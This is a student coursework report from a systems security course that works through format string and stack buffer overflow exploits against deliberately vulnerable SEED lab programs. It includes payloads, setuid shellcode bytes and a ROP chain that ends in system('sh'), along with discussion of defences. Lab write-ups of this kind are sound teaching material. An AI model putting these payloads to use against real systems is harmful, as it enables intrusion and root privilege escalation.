COMSM1500 (Systems Security)
Coursework 1

Students: cy13308 and rz13310

Contribution:

cy13308: completed Lab 1 tasks 1/2/3, attempted Lab 2 task 1, report on Lab 1
rz13310: attempted Lab 1 task 1, completed Lab 2 tasks 1/2/3, report on task 2

Overal contribution: cy13308 50%, rz13310 50%

1 Overview

This coursework investigates two basic yet powerful vulnerabilities: format strings and buffer overflow. In the upcoming experiments, the SEED labs virtual machine is used. We target audiences who have some programming experience in C and a basic understanding about memory layouts. Required source code files should be found in
https://www.cs.bris.ac.uk/Teaching/Resources/COMSM1500/.

In each technical report, we first introduce the problem at hand by providing the context. Then, we illustrate how the respective mechanisms break down in under certain circumstances. We proceed to exploit these vulnerabilities and finally, reflect on the bigger picture.

2 Format Strings: Technical Report

2.1 Context

In the C language, format strings provide a way of combining string literals with zero or more other types of data. The following is a subset of the format string substitutions that are important to this exercise:

Snippet 1: Format string substitutions

```
%d                  Signed integer
%s                  Null-terminated string
%x                  Signed integer in hexadecimal form
%p                  Address in hexadecimal form
%n                  Number of bytes printed up to this token
%<index>$<type>     Indexed substitution form
```

The *%n* token is special, because it writes to its corresponding parameter by treating it as a pointer. On the other hand, the indexed substitution form is useful either to refer to the same substitution variable multiple times, or to skip having to repeat the same token many times. For more details about the *printf()* family of functions, the reader is referred to [1].

In this Lab we focus on the misuse of the *printf()*, whereby a user-entered string is passed as the format string. Such mistake allows the user to control substitution tokens in ways that can violate the actual number of substitution variables supplied. This vulnerability was intentionally created in *formatstring.c*:

Snippet 2: Vulnerable part in formatstring.c

```c
char user_input[100];
...
scanf("%s", user_input);
printf(user_input);
```

If the user enters a valid format string, it will be faithfully parsed by *printf()* even though no substitution variables were supplied. This means that instead of stopping when there are no more substitution variables to consume, *printf()* continues accessing stack data until all tokens are respected.

In the following sections, we use *formatstring.c* to demonstrate how the format string vulnerability can lead to leakage and overwrite of important data. The set-uid version of the *formatstring* executable, *formatstr-root*, is used. This document also comes with two Python scripts: *cwk1_p1.py*, and *cwk1_p2.py*, which automatically execute exploits documented herein.

2.2 Task 1

2.2.1 Part (a) Crash the Program

In order to consistently crash the program, we first inspect the stack so as to gather information that we might leverage. To understand how this was possible, the call stack structure is illustrated:

Snippet 3: Stack frame illustration

```
...
main()  |    Local variables of main()
        |    Saved registers of main()
        |    Argument #N for printf()
        |    Argument... for printf()
        |    Argument #2 for printf()
        |    Argument #1 for printf()
        printf()    |    Return address to main()
                    |    Stack frame address of main()
                    |    Local variables of printf()
                    |    ...(stack grows downwards)
```

The stack structure in Snippet 3 suggests that reading past (above) the argument list would expose saved register values of the caller. We test this by running *formatstr-root* and entering "%x,%x". Note that at this stage, the choice of the integer input does not matter. The execution results in two values being printed off the stack: *bf978d88* and *1*. The first value appears to be some address, while the second value seems to remain the same in every run. We then use the *%s* token to interpret the second value as an address, generating a segmentation fault (addresses near 0 are almost never accessible). The full payload is "%2$s", which translates into "treat the second argument as a char pointer, dereference it, and then display it".

Snippet 4: De-referencing invalid address

```
...
Please enter a string
%2$s
Segmentation fault (core dumped)
```

2.2.2 Part (b) Print out the value of secret[1]

Since the data pointed to by *secret* is allocated on the heap, an indirection (i.e. de-referencing) is required for its access. The heap address itself thus needs to be written somewhere. This time, the integer input becomes useful.

We approach this attack by firstly locating the stack position or the *argument index* of the integer input. This was achieved by entering arbitrarily many *%d* tokens with an easily identifiable integer input value. Snippet 5 shows that our integer input *13371337* took the stack position of 9.

From now on, we can simply enter the address of secret[1] in decimal as the integer input, and then access it via *"%9$.1s"*. This payload translates to: "treat the ninth argument as a char pointer, dereference it, and then display the first character". To read out the four byte value of *secret[1]*, we send the payload four times (read one byte at a time), each time incrementing one byte from its base address. This process is shown in Snippet 6 and Snippet 7. We chose to read the value of secret[1] byte-by-byte because the simple *%s* token has the danger of interpreting non null-terminated data that might overun readable address and cause a segmentation fault.

Snippet 5: Locating integer input

```
...
Please enter a decimal integer
13371337
Please enter a string
%d,%d,%d,%d,%d,%d,%d,%d,%d,%d
-1075410664,1,-1218346231,-1075410625,-1075410626,0,-1075410396,
134914056,13371337,623666213
...
```

Snippet 6: Printing out secret[1] bytes 0 and 1

```
... address is 0x 8ffd00c
Please enter a decimal integer
150982668
Please enter a string
%9$.1s
U
...
... address is 0x 9ab700c
Please enter a decimal integer
150982668
Please enter a string
%9$.1s

...
```

Snippet 7: Printing out secret[1] bytes 2 and 3

```
... address is 0x 8b8a00c
Please enter a decimal integer
146317326
Please enter a string
%9$.1s

...
... address is 0x 86ae00c
Please enter a decimal integer
141221904
Please enter a string
%9$.1s

...
```

The single character outputs from Snippet 6 and Snippet 7 are " *U*", " *(nothing)*", " *(nothing)*", and " *(nothing)*". By converting to ASCII codes and reversing the little-endian order, we arrive at *0x55*, which matches the true value of secret[1].

2.2.3 Part (c) Modify the value of secret[1]

To modify secret[1], the *%n* token becomes crucial. Using the same integer input addressing method discussed in part (b), we construct the payload: "%9$n". This payload translates to: "treat the ninth argument as an integer address, dereference it, and then write zero into it". This payload sets secret[1] to zero because the payload itself led to no bytes being printed, and the ninth argument was set to the address of secret[1] by the integer input. Snippet 8 illustrates the use of this payload.

2.2.4 Part (d) Set secret[1] to a specific value

Building on top of part (c), we gain the ability to set any pointed heap variable to almost any value with the payload "%<val>.0s$9n". The format syntax of this payload tells *printf()* to produce <val> number of white spaces, and then print zero characters from whichever string argument it is referencing to. The payload was used to set secret[1] to *0x77* in Snippet 9.

Snippet 8: Setting secret[1] to 0

```
...
secret[1]'s address is 0x 9a6700c (on heap)
Please enter a decimal integer
161902604
Please enter a string
%9$n

The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x0
```

Snippet 9: Setting secret[1] to 0x77

```
...
secret[1]'s address is 0x 996700c (on heap)
Please enter a decimal integer
160854028
Please enter a string
%119.0s%9$n

The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x77
```

2.3 Task 2: Remove Integer Input

The removal of the integer input forbids setting the address using the integer input as practiced in Task 1. The *user_input* stack variable remains to be our only interaction with the program. While this does not affect the payload used to crash the program, parts (b), (c), and (d) require a new method of getting an address to secret[1].

Since the *user_input* char array is on the stack, it should be possible to access it via an indexed substitution token. In Snippet 10, we inspect the stack again and find that *user_input* was the tenth argument ("RIPP" translates to 0x50504952 in hex). After locating the "scratch pad" argument, we convert the address of secret[1] to escaped bytes and embed them in the format string in little-endian order.

Snippet 11 demonstrates the delivery of escaped bytes through *echo -e*. The payload prints out the first byte of the pointed address in ASCII. The result is the same as Task 1: 'U' (=*0x55*); ther bytes are ommitted here since they are all null. This completes part (b). Finally, by using the same principle as the Task 1 part (d), we are able to wrtie an arbitrary value to the address of secret[1], effectively changing its value (Snippet 12).

Snippet 10: Stack inspection to find the start of user_input

```
...
Please enter a string
RIPPAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
RIPPAAAA,0xbffff678,0x8,0xb7eb8309,0xbffff69f,0xbffff69e,
(nil),0xbffff784,0xbffff724,0x804b020,0x50504952,0x41414141,
0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c702
...
```

Snippet 11: Little-endian conversion and reading one byte

```
echo -e '\x24\xb0\x04\x08<%10$.1s>' | ./formatstr-no-int-root
...
$<U>
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Snippet 12: Setting secret[1] to 0x77

```
echo -e '\x24\xb0\x04\x08%119.0s%10$n' | ./formatstr-no-int-root
...
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x77
```

2.4 Task 3: ASLR and Automation

2.4.1 Part (a) Redo Task 2 with ASLR turned on

When address randomisation is turned on, we observe that bytes such as tab (*0x09*) and spaces (*0x20*), amongst a number of others, are now becoming part of the address of secret[1]. These bytes cause *scanf()* to break the input, preventing the payloads from working for certain addresses.

To circumvent this, we need a new method of setting an arbitrary address that does not involve escaped bytes. One possibility is the "space-generator" payload, "%<val>.0s", followed by a *%n*. Unfortunately, this took a long time as the terminal kept on printing spaces to the size of the target address (hundreds of millions). We have more ideas in mind but due to time constraints, these have not been implemented.

2.4.2 Part (b) Automate Task 2 (b)

As mentioned earlier, this document comes with two Python scrtips: *cwk1_p1.py* and *cwk1_p2.py*. Each of them automatically execute all of the exploits in Task 1 and Task 2 respectively. The code uses *pexpect*, and parses the addresses printed by *formatstring*.

3 Format Strings: Reflective Report

Format string bugs were first reported in 1989 [2] and gained more public attention a decade after when a security audit of the ProFTPD daemon unveiled the vulnerability [3]. Today, it has been widely documented [4–7], with numerous protection techniques proposed, such as [8, 9]. The Common Weakness Enumeration (CWE) dictionary keeps six records of real incidents where format strings were exploited [10], while Kilic et al counted around a dozen per year up to 2013 [11]. The CWE rates this exploit as very high likelihood, with common consequences of confidentiality loss and arbitrary code execution. These are serious impacts to system security considering that so many programs are written C and C++, which are quoted as *often* suffering from format string attacks [10].

In this Lab, we have investigated the technical aspect that enables format string attacks to still be viable, albeit with some help to discover our address of interest. Although we have only shown the writing and reading of memory addresses, more sophisticated attacks are possible through meticulously crafted attacks. For example, arbitrary code execution and privilege escalation can be achieved by writing shell code onto the stack. One such incident is the CVE-2002-0573, whereby a call to the syslog function with user input allowed the execution of shell code in the RPC wall daemon for Solaris 2.5.1 through 8 [12]. Other cases include format strings taking down Splinter Cell gaming servers [13] and Windows FTP server sin 2004 [14].

Fortunately, the No-eXecution (NX) memory protection was able to greatly thwart such efforts, and was popularized circa 2004. Today, most operating systems have ASLR and NX turned on by default, which makes address disclosure more difficult. We observed in Task 3 that in order to cope with changing addresses, more advanced techniques were required to insert the address bytes. Furthermore, performing the exploit manually became impractical as the addresses change in each execution. According to CWE, format string vulnerabilities have become rare today because of the ease of detection and the fact that the misuse of the *printf()* family is now uncommon [10].

In the bigger picture, the format string attack is somewhat similar to SQL injection, whereby unsanitized input gets interpreted as part of the command. The SQL injection has been eliminated altogether by using parameterised statements. An approach to achieve something similar in general-purpose programming languages would be to restrict format strings to compile-time constant values, and only allow variable strings after the first argument. Moreover, since the *printf()* family of functions are well known and rather static in nature, compilers could enforce a failure when substitution tokens and substitution variables mismatch (i.e. perform compile time lexical analysis [15]). Another method is to implement type-checking as suggested by [5]. Although these methods slightly reduce programming freedom (e.g. no overloading of *printf()* with single argument), the gain in security is well worth it.

On the other hand, good coding practice should be propagated from an early stage in educating programmers. It appears that most formal education skip the details on such ”mundane” programming utilities. It would go a long way with a simple demonstration that *printf(input)* is exploitable, while *printf(”%s”, input)* is not.The Computer Emergency Response Team (CERT) for the Software Engineering Institute (SEI) recommands to ”never call a formatted I/O function with a format string containing a tainted value” [16], with very detailed examples of standard and poor practices. Tainted value here refers to any data source that is not sanitized. It should be noted that the non-trivial process of string sanitization and its lack of reliability mean that passing sanitized user input directly as the format string is still not recommendable.

4 Buffer Overflows: Technical Report

4.1 Task 1: Attack

The first task of the second lab ask us to exploit the buffer overflow of function *bof* in the provided vulnerable program. This is a classic technique of overrunning a local buffer in a function stack frame to overwrite the saved return address. When the function eventually tries to return the execution flow is diverted to the overwritten address which could allow an attacker to execute arbitrary code with the privileges of the exploited process.

To create this exploit our first goal was finding the offset in our input that overwrites *bof*'s return address. This means finding the beginning of the overflown buffer in relation to the function's stack frame. By disassembling the *stack-root* program we find in instruction 6 that this is *-0x20(%ebp)* or 32 byte before *%ebp*. This instruction sets the buffer address as an argument to *strcpy()*. After these 32 bytes the stack frame contains 4 bytes of the saved *%ebp* followed by 4 bytes of the return address.

Snippet 13: bof function disassembly

```
08048484 <bof>:
8048484:        55                          push   %ebp
8048485:        89 e5                       mov    %esp,%ebp
8048487:        83 ec 38                    sub    $0x38,%esp
804848a:        8b 45 08                    mov    0x8(%ebp),%eax
804848d:        89 44 24 04                 mov    %eax,0x4(%esp)
8048491:        8d 45 e0                    lea    -0x20(%ebp),%eax
8048494:        89 04 24                    mov    %eax,(%esp)
8048497:        e8 e4 fe ff ff              call   8048380 <strcpy@plt>
804849c:        b8 01 00 00 00              mov    $0x1,%eax
80484a1:        c9                          leave
80484a2:        c3                          ret
```

We make an exploit that consists of 36 junk bytes 0xAA followed by the target address in little-endian followed by the 24 bytes of provided shellcode. For successful execution the target address needs to point at the beginning of the shellcode. We find this address by executing the *stack-root* program in *gdb* and setting the *ret* instruction of *bof* as a breakpoint. We take note of *%esp* which in our build is *0xBFFFF4BC*. At that instruction *%esp* would point to the return address on the stack and if the shellcode is located just after that return address, a pointer to it would be 4 bytes higher than the obtained value - *0xBFFFF4C0*. Using that as our target return address we successfully execute the exploit in *gdb*. Since running the program outside *gdb* the stack has a slight offset this exploit fails. To make our exploit resistant to stack offset variations we prepend the shellcode with 256 bytes of *nop* instructions and increment the return address by 128 setting it to *0xBFFFF540*. This gives the exploit operability when the stack offset is within 128 bytes of the stack offset under *gdb*.

4.2 Task 2: Defence mechanisms

4.2.1 ASLR

The first defence technique to consider against this exploit is Address Space Layout Randomization or ASLR. This is an Operating System security feature implemented by the program loader that randomises the allocations for the heap, stack and loaded libraries. It does not prevent the actual buffer overflow but can mitigate it's exploitation potential. Since the crafted exploit needs to know the approximate location of the shellcode and that is located on the now randomised stack. With ASLR we can no longer obtain the stack location through seeing the memory maps of a single program instance because different executions allocate the stack at random location. By trying enough times it is possible to get successful exploitation if the random stack coincides with the observed stack location on creating the exploit. This is more likely to be feasible on 32-bit environments as they only offer 16 bits of randomisation which is significantly smaller than the available randomisation on 64-bit platforms. However there exist several methods to bypass this protection. A popular one is using the executable code and global variable space which is the remaining known data fixed in the executable's address space. This is a very powerful technique but can be preventing by adopting compilation of position independent code (PIC). With PIC even the executable code's addresses can be randomised. This leaves the attacker only with finding an address leak as a viable attack on ASLR. If however such an information leak exists then it renders ASLR completely ineffective as the attacker can compute the exact offset of the leaked segment.

4.2.2 Stack Guard

When enabled the stack guard *gcc* option generated the result in Snippet 14 regardless of wheather the *-g* option was present or not.

Snippet 14: Stack Gard enabled buffer overflow output

```
*** stack smashing detected ***: ./stack-stprot terminated
Segmentation fault (core dumped)
```

By looking at function disassembly with Stack Guard enabled we observe that the method consists of additional prologue and epilogue code in function generation. The prologue copies a random value called canary from protected memory and stores it between the function's local variable stack space and the saved base pointer. If a buffer overflow then occurs in this function then it must overwrite the canary before the saved return address. The epilogue tests if the canary is different than the initial value before reaching a *ret* instruction. If a change has occurred a dynamically linked handler is called. This handler evidently generates the output in Snippet **??** and terminates execution. This defence also does not prevent the overflow it only detects and attempts to mitigate the severity of the threat.
While troublesome for straightforward exploitation the weakness of this method is in the fact that the canary does not protect the local stack space variables and is only checked on function exit. Thus code between the occurrence of the overflow and the function return can be abused. As an example the function in Snippet 15 can be exploited by using the *tmp_key* overflow to modify the *data* pointer. The second string copy could then write data to arbitrary memory locations. An exploit can either start from the return address without modifying the canary or it can modify the pointer to the dynamically linked stack thrashing handler. G. Richarte [17] explores similar

techniques for circumventing Stack Guard type protections.

Snippet 15: Stack Gard vulnerable function

```
void vuln(char* name,char* val)
{
    char *data = malloc(strlen(val)+1);
    char tmp_key[24];

    strcpy(tmp_key,name);

    strcpy(data,val);

    //do work e.g. build dictionary entry

    return;
}
```

4.2.3 Non-Executable Stack

When compiled with default option of non-executable stack region the memory pages allocated for stack space are set without execute permissions which means that an exception is generated if the CPU tries to read code from those memory locations. Running the exploit with this feature causes it to generate a Segmentation Fault. This is yet another mitigation technique. It is also easy to circumvent since stack data is still under attacker control and the exploit would just need to use portions of the executable's code segment. The attack can be identical to the one discussed against non-PIE executables with ASLR.

4.3 Extra Credit

4.3.1 Real and Effective UIDs

To set the real UID to to 0(root) a *setuid* system call needs to be performed before the shellcode that executes the terminal. The code in Snippet 16 executes the system call by setting *%eax* to *0x17* and *%ebx* to *0x0*. This code in hex converts to the 8 bytes in Snippet 17 that are prepended to the 24 byte shellcode in the exploit. Runnig this modified exploits results in successful modification of the UID to root before the execution of the shell.

Snippet 16: Setuid assembly syscall

```
xor %ebx, %ebx
xor %eax, %eax
mov %al , 0x17
int 0x80
```

Snippet 17: Setuid disassembled

```
31 DB 31 C0 B0 17 CD 80
```

4.3.2 Defeating ASLR and non-executable stack

An exploit based on ROP gadgets [18] is developed for exploiting a slightly modified version of *stack.c*. To make it The modification includes a *printf* call with the string *"sh"*. The source is provided in the *stack-help.c* file which is compiled with only stack guard disabled. This is to simplify the exploit but is unnecessary if a further technique of custom stack creation is used. The exploit uses the fact that the code segment of the executable is always in know address spaces and sets up a stack that redirects execution to sequences of instructions that end with an *ret* instruction. Thanks to the variable instruction size CISC architecture of x86 it is also possible to jump in the middle of instructions and reinterpret the data as different instructions. A tool called *ropper* [19] is used to list useful instruction sequences called ROP gadgets. When a function to a dynamically linked library is called the code calls the fixed PLT entry of the function. This PLT entry is responsible for loading the location of the dynamic function into the Global Offset Table (GOT) and then branching to the stored entry in that table. The goal of the exploit would be to overwrite the *printf* entry with the *system* function offset and then set up a *printf* call with the string *"sh"* as argument effectively calling *system("sh")*. From disassembling the executable we obtain the printf@PLT address that is *0x08048390* and the GOT entry *0x0804a000*. We also use *nm* to view the difference of offset between *printf* and *system* in *libc*.

Snippet 18: Libc symbols

```
nm -D /lib/i386-linux-gnu/libc.so.6
...
0003f430 W system
...
0004ced0 T printf
...
```

The difference between *printf* and *system* is *0xffff2560*, which is important to be negative as it will be included in the exploit which needs to include no null bytes. The ROP gadgets found in the code that would be used ar listed in Snippet 19.

Snippet 19: List of used gadgets

```
Gadget A:
        0x0804847e:
                add dword ptr [ebx + 0x5d5b04c4], eax; ret;

Gadget B:
        0x08048593:
                mov eax, dword ptr [esp + 0x34];
                mov dword ptr [esp + 4], eax;
                call dword ptr [ebx + esi*4 - 0xe0];
                add esi, 1; cmp esi, edi;
                jne 0x588; add esp, 0x1c;
                pop ebx; pop esi; pop edi; pop ebp; ret;

Gadget C:
        0x080485ac:
                pop ebx; pop esi; pop edi; pop ebp; ret;

Gadget D:
        0x08048378:
                pop ebx; ret;
```

Gadget C and D allow direct control over *%ebx %esi %edi* and *%epb*, Gadget A allows for modification of an arbitrary memory address. We would use that gadget to add the difference between *printf* and *system* to the *printf* GOT entry. To control *%eax* we need to use gadget B which has the caveat of having to call a function that does not modify *%eax* and needs *%esi+1 == %edi*. To get a function address that does not modify *%eax* we use the dynamic linking entry for function *_fini*. Which executing the program in *gdb* and listing the DYNAMIC section lets us determine that is stored in *0x08049f3c*. Furthermore *_fini* needs a non-zero value in location 0x0804a024 in order to do nothing. We can use gadget A to add the initial non-zero *%eax* to that location. Finally we determine to set *%esi=0x01020101 %edi=0x01020102* and *%ebx=0x03fc9c18* in order to satisfy all condition for executing this complex gadget. Finally we determine the location of the string *"sh"* to be *0x0804862a* and we note that we should execute a *printf* call to initialise the GOT entry.
the final Exploit is executed in this order:

1. call printf@PLT with "sh" argument
2. use gadget D to pop the leftover "sh" pointer
3. use gadget D to set %ebx to 0xaaa99b60 which used by gadget A would modify 0x0804a024
4. use gadget A to modify 0x0804a024 to non-zero
5. use gadget C to set %esi = 0x01020101 %edi = 0x01020102 %ebx = 0x03fc9c18
6. use gadget B to set %eax = 0xffff2560 and %ebx = 0xaaa99b3c which used in gadget A would modify 0x0804a000
7. use gadget A to modify the printf GOT entry 0x0804a000 with its diference to system
8. call printf@PLT with "sh" as argument which effectively calls system("sh")

Taking into account the specifics of calling the gadgets and PLT functions the exploit should look like Snippet 20. All the 32-bit data should be encoded in Little-endian. While this exploit relies on the *"sh"* string being present a modified version could create it in global variable memory by a series of *strcpy* instruction from program memory for each byte. In fact with this technique a custom stack can be created and then pivoted to using a *leave ret* instruction sequence.

Snippet 20: ASLR exploit data

```
| 36 junk bytes to reach saved return
| printf@PLT address
| gadget D address
| "sh" address
| gadget D address
| 0xaaa99b60 ( new ebx )
| gadget A address
| gadget C address
| 0x03fc9c18 (new ebx )
| 0x01020101 (new esi)
| 0x01020102 (new edi)
| 4 junk bytes (new ebp)
| gadget B address
| 28 junk bytes
| 0xaaa99b3c (new ebx)
| 4 junk bytes (new esi)
| 4 junk bytes (new edi)
| 4 junk bytes (new ebp)
| gadget A address
| printf@PLT address
| 0xffff2560 (new eax) for gadget B
| address of string "sh"
```

5 Buffer Overflows: Reflective Report

Buffer Overflow vulnerabilities are some of the most dangerous security risks. The Open Web Application Security Project [20] treats them as very high severity at high likelihood of exploit. At minimum such vulnerabilities can result is software crashes and denial of service attacks. Their very high severity comes when a buffer overflow vulnerability results in arbitrary code execution. This can subvert any security measure and can compromise the entire computer that is executing the vulnerable software. Thankfully this vulnerability is eliminated by higher level languages that do not allow direct memory access and enforce array boundary checking. This means that much of software running on personal computers can easily eliminate the risk of this vulnerability. However system or high-performance software that rely on the features of programming in C/C++ or Assembly would still be exposed to the risk.

The Blaster Worm [21] is a good example of the severity of buffer overflows. It garnered media attention in 2003 as it was able to quickly spread throughout the internet without user interaction. The worm used a buffer overflow in Microsoft's RPC protocol to compromise machines. It demonstrates the power of remote code execution that results from exploiting buffer overflows. From taking a historic look into attacks using this threat it can be noted that buffer overflows were significantly more prevalent before the introduction of Windows Vista that includes bot ASLR and non-executable stack as standard mitigation security features. Nevertheless buffer overflows can still be taken advantage of especially in the sphere of embedded and Internet of Things devices. Those computer systems are usually limited in function and require the use of the C/C++ programming languages. In addition consumer focused devices target short time to market deadlines that put pressure on the software developers and heighten the probability of introducing vulnerabilities.

From the investigation of the available defences against buffer overflows it can be noted that the possibility of exploitation can be significantly reduced by employing all available defences, but it does not completely eliminate the risk. If a system uses a position independent executable with ASLR in 64-bit addressing with non-executable stack and stack guards successful exploitation would likely be dependent on multiple vulnerabilities in the software. The best available solution to buffer overflows would be to use a managed programming language that eliminates the vulnerability. If a low-level language is required however this threat is likely impossible to eliminate. Defences against the vulnerability only mitigate risk of exploitation to reduce the likelihood of the vulnerability software development procedures must be implemented by the creator of the software. While automatic checking for known "bad" functions like *strcpy* can be used to prevent the most basic buffer overflows, this vulnerability type is often hard to detect. Code review and security training should be required when working with programming languages that have potential to introduce buffer overflows. Even so the possibility of introducing a vulnerability or having a library dependency with a buffer overflow can not be completely eliminated. The severity of exploiting this vulnerability can be significant enough for software designers to consider automated patching functionality even with low likelihood of having a buffer overflow.

References

[1] M. Kerrisk, “printf(3) - Linux Programmer’s Manual,” http://man7.org/linux/man-pages/man3/fprintf.3.html, (Accessed on 10/11/2016).

[2] B. P. Miller, L. Fredriksen, and B. So, “An empirical study of the reliability of UNIX utilities,” *Communications of the ACM*, vol. 33, no. 12, pp. 32–44, 1990. [Online]. Available: http://ftp.cs.wisc.edu/paradyn/technical{_}papers/fuzz.pdf

[3] T. Twillman, “Exploit for proftpd 1.2.0pre6,” 1999, (Accessed on 11/11/2016). [Online]. Available: http://seclists.org/bugtraq/1999/Sep/328

[4] OWASP, “Format string attack - owasp,” https://www.owasp.org/index.php/Format_string_attack, (Accessed on 11/11/2016).

[5] K. Weitz and M. D. Ernst, “Konstantin Weitz Gene Kim Siwakorn Srisakaokul Michael D. Ernst,” 2014.

[6] W. A. Arbaugh, A. D. Keromytis, D. J. Farber, and J. M. Smith, “Automated recovery in a secure bootstrap process,” 1997.

[7] Scut and T. Teso, “Exploiting Format String Vulnerabilities,” vol. 4, no. 10, pp. 1–31, 2001. [Online]. Available: http://scholar.google.com/scholar?hl=en{&}btnG=Search{&}q=intitle:Exploiting+Format+String+Vulnerabilities{#}0

[8] U. Shankar, K. Talwar, J. Foster, and D. Wagner, “Detecting Format-String Vulnerabilities with Type Qualifiers,” *Proceedings of the 10th USENIX Security Symposium*, 2001.

[9] C. Cowan, M. Barringer, S. Beattie, and G. Kroah-Hartman, “FormatGuard: Automatic Protection From printf Format String Vulnerabilities,” *Proceedings of the 11 th USENIX Security Symposium*, 2002.

[10] C. C. Team, “Cwe-134: Use of externally-controlled format string,” http://cwe.mitre.org/data/definitions/134.html, (Accessed on 11/11/2016).

[11] F. Kilic, T. Kittel, and C. Eckert, “Blind format string attacks,” *Lecture Notes of the Institute for Computer Sciences, Social-Informatics and Telecommunications Engineering, LNICST*, vol. 153, pp. 301–314, 2015.

[12] C. V. and Exposures, “CVE-2002-0573,” 2003. [Online]. Available: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1794

[13] L. Auriemma, “Clients format strings in the Unreal engine,” 2003. [Online]. Available: http://www.securityfocus.com/archive/1/496297

[14] P. Winter-Smith, “Windows FTP Server Format String Vulnerability,” 2004. [Online]. Available: http://www.securityfocus.com/archive/1/349255

[15] Alan T. DeKok, “PScan: A limited problem scanner for C source files,” (Accessed on 11/11/2016). [Online]. Available: http://deployingradius.com/pscan/

[16] H. Burch and L. Whiting, “FIO30-C. Exclude user input from format strings,” 2016. [Online]. Available: https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings

[17] G. Richarte, “Four different tricks to bypass stackshield and stackguard protection,” https://www.coresecurity.com/system/files/publications/2016/05/StackguardPaper.pdf, April - June 2002, (Accessed on 11/10/2016).

[18] “Payload already inside: Data reuse for rop exploits,” http://media.blackhat.com/bh-us-10/whitepapers/Le/BlackHat-USA-2010-Le-Paper-Payload-already-inside-data-reuse-for-ROP-exploits-wp.pdf, 2010, (Accessed on 11/11/2016).

[19] “Ropper source code,” https://github.com/sashs/Ropper, (Accessed on 11/11/2016).

[20] “Buffer overflow - owasp,” https://www.owasp.org/index.php/Buffer_Overflow, (Accessed on 11/11/2016).

[21] “Ca-2003-20,” http://www.cert.org/historical/advisories/CA-2003-20.cfm.